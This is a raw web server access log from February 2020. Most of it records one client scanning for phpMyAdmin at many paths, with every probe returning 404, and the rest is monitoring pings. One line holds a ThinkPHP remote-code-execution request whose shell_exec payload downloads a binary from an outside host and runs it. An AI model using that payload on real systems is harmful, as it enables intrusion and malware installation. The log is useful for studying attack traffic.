85.244.166.12 - - [09/Feb/2020:23:08:21 +0100] "GET /mysql/web/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:21 +0100] "GET /mysql/pMA/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:21 +0100] "GET /sql/phpmanager/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:21 +0100] "GET /sql/php-myadmin/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:22 +0100] "GET /sql/phpmy-admin/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:22 +0100] "GET /sql/sql/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:22 +0100] "GET /sql/myadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:22 +0100] "GET /sql/webadmin/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:23 +0100] "GET /sql/sqlweb/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:23 +0100] "GET /sql/websql/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:23 +0100] "GET /sql/webdb/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:23 +0100] "GET /sql/sqladmin/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:24 +0100] "GET /sql/sql-admin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:24 +0100] "GET /sql/phpmyadmin2/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:24 +0100] "GET /sql/phpMyAdmin2/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:24 +0100] "GET /sql/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:25 +0100] "GET /db/myadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:25 +0100] "GET /db/webadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:25 +0100] "GET /db/dbweb/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:25 +0100] "GET /db/websql/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:26 +0100] "GET /db/webdb/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:26 +0100] "GET /db/dbadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:26 +0100] "GET /db/db-admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:26 +0100] "GET /db/phpmyadmin3/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:27 +0100] "GET /db/phpMyAdmin3/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:27 +0100] "GET /db/phpMyAdmin-3/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:23:08:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.244.166.12 - - [09/Feb/2020:23:08:27 +0100] "GET /administrator/phpmyadmin/index.php?lang=en HTTP/1.1" 404 339 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:27 +0100] "GET /administrator/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 339 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:28 +0100] "GET /administrator/db/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:28 +0100] "GET /administrator/web/index.php?lang=en HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:28 +0100] "GET /administrator/pma/index.php?lang=en HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:28 +0100] "GET /administrator/PMA/index.php?lang=en HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:29 +0100] "GET /administrator/admin/index.php?lang=en HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:29 +0100] "GET /phpMyAdmin2/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:29 +0100] "GET /phpMyAdmin3/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:29 +0100] "GET /phpMyAdmin4/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:30 +0100] "GET /phpMyAdmin-3/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:30 +0100] "GET /php-my-admin/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:31 +0100] "GET /PMA2011/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:31 +0100] "GET /PMA2012/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:31 +0100] "GET /PMA2013/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:31 +0100] "GET /PMA2014/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:32 +0100] "GET /PMA2015/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:32 +0100] "GET /PMA2016/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:32 +0100] "GET /PMA2017/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:32 +0100] "GET /PMA2018/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:33 +0100] "GET /PMA2019/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:33 +0100] "GET /PMA2020/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:33 +0100] "GET /pma2011/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:33 +0100] "GET /pma2012/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:34 +0100] "GET /pma2013/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:34 +0100] "GET /pma2014/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:34 +0100] "GET /pma2015/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:34 +0100] "GET /pma2016/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:35 +0100] "GET /pma2017/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:35 +0100] "GET /pma2018/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:35 +0100] "GET /pma2019/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:35 +0100] "GET /pma2020/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:36 +0100] "GET /phpmyadmin2011/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:36 +0100] "GET /phpmyadmin2012/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:36 +0100] "GET /phpmyadmin2013/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:36 +0100] "GET /phpmyadmin2014/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:37 +0100] "GET /phpmyadmin2015/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:37 +0100] "GET /phpmyadmin2016/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:37 +0100] "GET /phpmyadmin2017/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:37 +0100] "GET /phpmyadmin2018/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:37 +0100] "GET /phpmyadmin2019/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:38 +0100] "GET /phpmyadmin2020/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:38 +0100] "GET /index.php?lang=en HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:23:09:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
213.14.138.147 - - [09/Feb/2020:23:09:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
1.54.135.94 - - [09/Feb/2020:23:10:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:23:10:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.244.166.12 - - [09/Feb/2020:23:10:51 +0100] "GET /phpmyadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:51 +0100] "GET /phpMyadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:51 +0100] "GET /phpMyAdmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:51 +0100] "GET /phpmyAdmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:52 +0100] "GET /mysql/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:52 +0100] "GET /database/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:52 +0100] "GET /phpmyadmin1/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:52 +0100] "GET /phpmyadmin2/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:52 +0100] "GET /phpmyadmin3/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:52 +0100] "GET /phpmyadmin4/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:53 +0100] "GET /mysql/admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:53 +0100] "GET /mysql/dbadmin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:53 +0100] "GET /mysql/sqlmanager/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:53 +0100] "GET /mysql/mysqlmanager/index.php?lang=en HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:53 +0100] "GET /2phpmyadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:53 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en HTTP/1.1" 404 364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:54 +0100] "GET /phpmy/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:54 +0100] "GET /phppma/index.php?lang=en HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:54 +0100] "GET /myadmin/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:54 +0100] "GET /shopdb/index.php?lang=en HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:55 +0100] "GET /MyAdmin/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:55 +0100] "GET /program/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:55 +0100] "GET /PMA/index.php?lang=en HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:55 +0100] "GET /dbadmin/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:55 +0100] "GET /pma/index.php?lang=en HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:56 +0100] "GET /db/index.php?lang=en HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:56 +0100] "GET /admin/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:56 +0100] "GET /db/phpmyadmin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:56 +0100] "GET /db/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:56 +0100] "GET /sqlmanager/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:56 +0100] "GET /mysqlmanager/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
